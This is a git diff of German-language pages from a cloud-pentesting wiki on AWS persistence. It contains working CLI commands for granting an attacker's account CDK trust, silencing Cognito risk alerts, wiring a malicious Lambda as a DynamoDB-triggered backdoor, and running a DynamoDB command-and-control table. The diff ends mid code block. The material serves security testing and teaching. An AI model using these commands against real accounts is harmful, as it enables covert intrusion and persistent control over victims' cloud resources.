 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-ecs-unauthenticated-enum.md => aws-ecs-unauthenticated-enum/README.md} (54%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-elasticsearch-unauthenticated-enum.md => aws-elasticsearch-unauthenticated-enum/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-iot-unauthenticated-enum.md => aws-iot-unauthenticated-enum/README.md} (58%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-media-unauthenticated-enum.md => aws-media-unauthenticated-enum/README.md} (63%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-rds-unauthenticated-enum.md => aws-rds-unauthenticated-enum/README.md} (60%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
deleted file mode 100644
index 1040d7480..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Für weitere Informationen gehen Sie zu:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Ressourcenrichtlinie
-
-Ändern Sie die Ressourcenrichtlinie des API-Gateways, um sich selbst Zugriff zu gewähren.
-
-### Lambda-Authorizer ändern
-
-Ändern Sie den Code der Lambda-Authorizer, um sich selbst Zugriff auf alle Endpunkte zu gewähren.\
-Oder entfernen Sie einfach die Verwendung des Authorizers.
-
-### IAM-Berechtigungen
-
-Wenn eine Ressource IAM-Authorizer verwendet, könnten Sie sich selbst Zugriff gewähren, indem Sie die IAM-Berechtigungen ändern.\
-Oder entfernen Sie einfach die Verwendung des Authorizers.
-
-### API-Schlüssel
-
-Wenn API-Schlüssel verwendet werden, könnten Sie diese leaken, um Persistenz aufrechtzuerhalten oder sogar neue zu erstellen.\
-Oder entfernen Sie einfach die Verwendung von API-Schlüsseln.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
new file mode 100644
index 000000000..583578c0e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Weitere Informationen findest du unter:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Ressourcenrichtlinie
+
+Ändere die Ressourcenrichtlinie der API Gateway(s), um dir Zugriff darauf zu gewähren
+
+### Lambda Authorizers ändern
+
+Ändere den Code der Lambda Authorizers, um dir Zugriff auf alle Endpunkte zu gewähren.\
+Oder entferne einfach die Verwendung des Authorizers.
+
+### IAM-Berechtigungen
+
+Wenn eine Ressource einen IAM-Authorizer verwendet, kannst du dir durch Ändern der IAM-Berechtigungen Zugriff darauf verschaffen.\
+Oder entferne einfach die Verwendung des Authorizers.
+
+### API Keys
+
+Wenn API Keys verwendet werden, könntest du sie leak(en), um persistence aufrechtzuerhalten oder sogar neue zu erstellen.\
+Oder entferne einfach die Verwendung von API Keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
deleted file mode 100644
index 5a8861e29..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Für weitere Informationen, greifen Sie zu:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-Der AWS CDK deployt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Konten erlaubt, CDK-Projekte in das Opferkonto zu deployen. Ein Angreifer kann dies ausnutzen, um sich selbst unbegrenzten Zugang zum Opferkonto zu gewähren, entweder indem er die AWS CLI verwendet, um den Stack mit Parametern neu zu deployen, oder die AWS CDK CLI.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
new file mode 100644
index 000000000..2b9cf5eef
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Für weitere Informationen, siehe:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+Der AWS CDK erstellt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Accounts erlaubt, CDK-Projekte in das Opferkonto bereitzustellen. Ein Angreifer kann dies ausnutzen, um sich selbst dauerhaften Zugriff auf das Opferkonto zu verschaffen, entweder indem er die AWS cli verwendet, um den Stack mit Parametern neu bereitzustellen, oder die AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
deleted file mode 100644
index d8ccc45b8..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Für weitere Informationen, greifen Sie zu:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Benutzerpersistenz
-
-Cognito ist ein Dienst, der es ermöglicht, Rollen für nicht authentifizierte und authentifizierte Benutzer zu vergeben und ein Verzeichnis von Benutzern zu steuern. Mehrere verschiedene Konfigurationen können geändert werden, um eine gewisse Persistenz aufrechtzuerhalten, wie zum Beispiel:
-
-- **Hinzufügen eines Benutzerpools**, der vom Benutzer zu einem Identitätspool kontrolliert wird
-- Eine **IAM-Rolle einem nicht authentifizierten Identitätspool zuweisen und den Basis-Auth-Flow erlauben**
-- Oder einem **authentifizierten Identitätspool**, wenn der Angreifer sich anmelden kann
-- Oder die **Berechtigungen** der vergebenen Rollen **verbessern**
-- **Erstellen, Überprüfen & Privilegieneskalation** über Attribute kontrollierte Benutzer oder neue Benutzer in einem **Benutzerpool**
-- **Erlauben externer Identitätsanbieter**, sich in einen Benutzerpool oder in einen Identitätspool einzuloggen
-
-Überprüfen Sie, wie Sie diese Aktionen durchführen können in
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Ein Angreifer mit diesem Privileg könnte die Risikokonfiguration ändern, um sich als Cognito-Benutzer **einzuloggen, ohne dass Alarme ausgelöst werden**. [**Überprüfen Sie die CLI**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), um alle Optionen zu sehen:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Standardmäßig ist dies deaktiviert:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
new file mode 100644
index 000000000..cc26135b1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
@@ -0,0 +1,40 @@
+# AWS - Cognito Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Für weitere Informationen, siehe:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Benutzer-Persistenz
+
+Cognito ist ein Service, der es ermöglicht, Rollen an nicht authentifizierte und authentifizierte Benutzer zu vergeben und ein Verzeichnis von Benutzern zu verwalten. Mehrere Konfigurationen können verändert werden, um Persistenz zu erreichen, zum Beispiel:
+
+- **Adding a User Pool** controlled by the user to an Identity Pool
+- Einem **IAM role** einem nicht authentifizierten Identity Pool zuweisen und den **Basic auth flow** erlauben
+- Oder einem **authenticated Identity Pool** wenn sich der Angreifer einloggen kann
+- Oder die **Berechtigungen** der zugewiesenen Rollen verbessern
+- **Create, verify & privesc** über durch Attribute kontrollierte Benutzer oder neue Benutzer in einem **User Pool**
+- **Externe Identity Providers zulassen**, um sich in einem User Pool oder in einem Identity Pool anzumelden
+
+Anleitung zum Durchführen dieser Aktionen findest du in
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Ein Angreifer mit diesem Privileg könnte die Risk Configuration ändern, um sich als Cognito-Benutzer anmelden zu können **ohne dass Alarme ausgelöst werden**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Standardmäßig ist dies deaktiviert:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
deleted file mode 100644
index 340d10d12..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - DynamoDB Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-Für weitere Informationen zugreifen:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### DynamoDB-Trigger mit Lambda-Hintertür
-
-Durch die Verwendung von DynamoDB-Triggern kann ein Angreifer eine **heimliche Hintertür** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Element hinzugefügt, geändert oder gelöscht wird, wodurch der Angreifer beliebigen Code innerhalb des AWS-Kontos ausführen kann.
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-Um die Persistenz aufrechtzuerhalten, kann der Angreifer Elemente in der DynamoDB-Tabelle erstellen oder ändern, was die bösartige Lambda-Funktion auslöst. Dies ermöglicht es dem Angreifer, Code innerhalb des AWS-Kontos auszuführen, ohne direkt mit der Lambda-Funktion zu interagieren.
-
-### DynamoDB als C2-Kanal
-
-Ein Angreifer kann eine DynamoDB-Tabelle als **Command and Control (C2) Kanal** verwenden, indem er Elemente erstellt, die Befehle enthalten, und kompromittierte Instanzen oder Lambda-Funktionen nutzt, um diese Befehle abzurufen und auszuführen.
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-Die kompromittierten Instanzen oder Lambda-Funktionen können regelmäßig die C2-Tabelle auf neue Befehle überprüfen, diese ausführen und optional die Ergebnisse zurück in die Tabelle melden. Dies ermöglicht es dem Angreifer, Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechtzuerhalten.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
new file mode 100644
index 000000000..8f0b88518
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
@@ -0,0 +1,59 @@
+# AWS - DynamoDB Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB-Trigger mit Lambda-Backdoor
+
+Durch den Einsatz von DynamoDB-Triggern kann ein Angreifer eine **stealthy backdoor** erstellen, indem er eine bösartige Lambda-Funktion mit einer Tabelle verknüpft. Die Lambda-Funktion kann ausgelöst werden, wenn ein Item hinzugefügt, geändert oder gelöscht wird, und ermöglicht es dem Angreifer, beliebigen Code im AWS-Account auszuführen.
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+Um persistence aufrechtzuerhalten, kann der attacker items in der DynamoDB table erstellen oder ändern, wodurch die bösartige Lambda function ausgelöst wird. Dadurch kann der attacker Code innerhalb des AWS account ausführen, ohne direkt mit der Lambda function zu interagieren.
+
+### DynamoDB als C2 Channel
+
+Ein attacker kann eine DynamoDB table als **command and control (C2) channel** nutzen, indem er items erstellt, die commands enthalten, und kompromittierte instances oder Lambda functions verwendet, um diese commands abzurufen und auszuführen.
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+Die kompromittierten Instanzen oder Lambda-Funktionen können periodisch die C2 table auf neue Befehle prüfen, diese ausführen und optional die Ergebnisse wieder in die C2 table melden. Dadurch kann der Angreifer Persistenz und Kontrolle über die kompromittierten Ressourcen aufrechterhalten.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
deleted file mode 100644
index 6e63025bf..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - EC2 Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Persistenz durch Verbindungsverfolgung der Sicherheitsgruppe
-
-Wenn ein Verteidiger feststellt, dass eine **EC2-Instanz kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz) oder **die Sicherheitsgruppe ändern**, um **jeglichen eingehenden oder ausgehenden** Verkehr zu verhindern.
-
-Wenn der Angreifer eine **Reverse Shell von der Maschine** hatte, wird die **Verbindung nicht beendet**, selbst wenn die SG geändert wird, um keinen eingehenden oder ausgehenden Verkehr zuzulassen, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Lifecycle Manager
-
-Dieser Dienst ermöglicht es, die **Erstellung von AMIs und Snapshots** zu **planen** und sogar **sie mit anderen Konten zu teilen**.\
-Ein Angreifer könnte die **Generierung von AMIs oder Snapshots** aller Images oder aller Volumes **jede Woche** konfigurieren und **sie mit seinem Konto teilen**.
-
-### Geplante Instanzen
-
-Es ist möglich, Instanzen täglich, wöchentlich oder sogar monatlich zu planen. Ein Angreifer könnte eine Maschine mit hohen Berechtigungen oder interessantem Zugriff betreiben, auf die er zugreifen könnte.
-
-### Spot Fleet Anfrage
-
-Spot-Instanzen sind **günstiger** als reguläre Instanzen. Ein Angreifer könnte eine **kleine Spot Fleet Anfrage für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und **Benutzerdaten**, die an den Angreifer **sendet, wenn die Spot-Instanz startet** und die **IP-Adresse** sowie mit einer **hochprivilegierten IAM-Rolle**.
-
-### Backdoor-Instanzen
-
-Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen:
-
-- Verwendung eines traditionellen **Rootkits** zum Beispiel
-- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels** (siehe [EC2 privesc Optionen](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Hintertür in den **Benutzerdaten**
-
-### **Hintertür-Startkonfiguration**
-
-- Hintertür in das verwendete AMI
-- Hintertür in die Benutzerdaten
-- Hintertür im Schlüsselpaar
-
-### VPN
-
-Erstellen Sie ein VPN, damit der Angreifer direkt über dieses in die VPC verbinden kann.
-
-### VPC Peering
-
-Erstellen Sie eine Peering-Verbindung zwischen der Opfer-VPC und der Angreifer-VPC, damit er auf die Opfer-VPC zugreifen kann.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
new file mode 100644
index 000000000..7769ef124
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
@@ -0,0 +1,62 @@
+# AWS - EC2 Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistenz
+
+Wenn ein Verteidiger feststellt, dass eine **EC2 instance kompromittiert wurde**, wird er wahrscheinlich versuchen, das **Netzwerk** der Maschine zu **isolieren**. Er könnte dies mit einem expliziten **Deny NACL** tun (aber NACLs betreffen das gesamte Subnetz), oder indem er die **security group ändert**, sodass **kein eingehender oder ausgehender** Traffic erlaubt ist.
+
+Wenn der Angreifer eine **reverse shell von der Maschine aus gestartet** hat, wird die **Verbindung nicht beendet** sein, selbst wenn die SG so geändert wurde, dass kein eingehender oder ausgehender Traffic erlaubt ist, aufgrund von [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Dieser Service ermöglicht es, die **Erstellung von AMIs und snapshots zu planen** und sie sogar **mit anderen Accounts zu teilen**.\
+Ein Angreifer könnte die **Erzeugung von AMIs oder snapshots** aller Images oder aller Volumes **wöchentlich** konfigurieren und diese **mit seinem Account teilen**.
+
+### Scheduled Instances
+
+Es ist möglich, Instances so zu planen, dass sie täglich, wöchentlich oder sogar monatlich laufen. Ein Angreifer könnte eine Maschine mit hohen Privilegien oder interessantem Zugriff betreiben, auf die er zugreifen kann.
+
+### Spot Fleet Request
+
+Spot instances sind **günstiger** als reguläre Instances. Ein Angreifer könnte eine **kleine Spot Fleet Request für 5 Jahre** (zum Beispiel) starten, mit **automatischer IP**-Zuweisung und einem **user data**, das dem Angreifer **beim Start der Spot Instance** die **IP-Adresse** sendet, und mit einer **hochprivilegierten IAM role**.
+
+### Backdoor Instances
+
+Ein Angreifer könnte Zugriff auf Instances erlangen und diese backdooren:
+
+- Zum Beispiel durch Verwendung eines traditionellen **rootkit**
+- Hinzufügen eines neuen **public SSH key** (siehe [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Backdooring des **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor das verwendete AMI
+- Backdoor das User Data
+- Backdoor das Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Ersetze das root EBS volume einer laufenden instance durch eines, das aus einem vom Angreifer kontrollierten AMI oder snapshot erstellt wurde, mittels `CreateReplaceRootVolumeTask`. Die instance behält ihre ENIs, IPs und Rolle bei und bootet effektiv in bösartigen Code, während sie unverändert erscheint.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Erstelle ein VPN, damit der Angreifer sich direkt mit der VPC verbinden kann.
+
+### VPC Peering
+
+Erstelle eine Peering-Verbindung zwischen der Opfer-VPC und der Angreifer-VPC, sodass er auf die Opfer-VPC zugreifen kann.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
new file mode 100644
index 000000000..a710eb853
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche **ec2:CreateReplaceRootVolumeTask**, um das Root-EBS-Volume einer laufenden Instanz durch ein aus einem vom Angreifer kontrollierten AMI oder Snapshot wiederhergestelltes Volume zu ersetzen. Die Instanz wird automatisch neu gestartet und läuft mit dem vom Angreifer kontrollierten Root-Dateisystem weiter, während ENIs, private/public IPs, attached non-root volumes und die instance metadata/IAM role erhalten bleiben.
+
+## Voraussetzungen
+- Zielinstanz ist EBS-backed und läuft in derselben Region.
+- Kompatibles AMI oder Snapshot: gleiche Architektur/Virtualisierung/Boot-Modus (und Produktcodes, falls vorhanden) wie die Zielinstanz.
+
+## Vorprüfungen
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## root von AMI ersetzen (bevorzugt)
+```bash
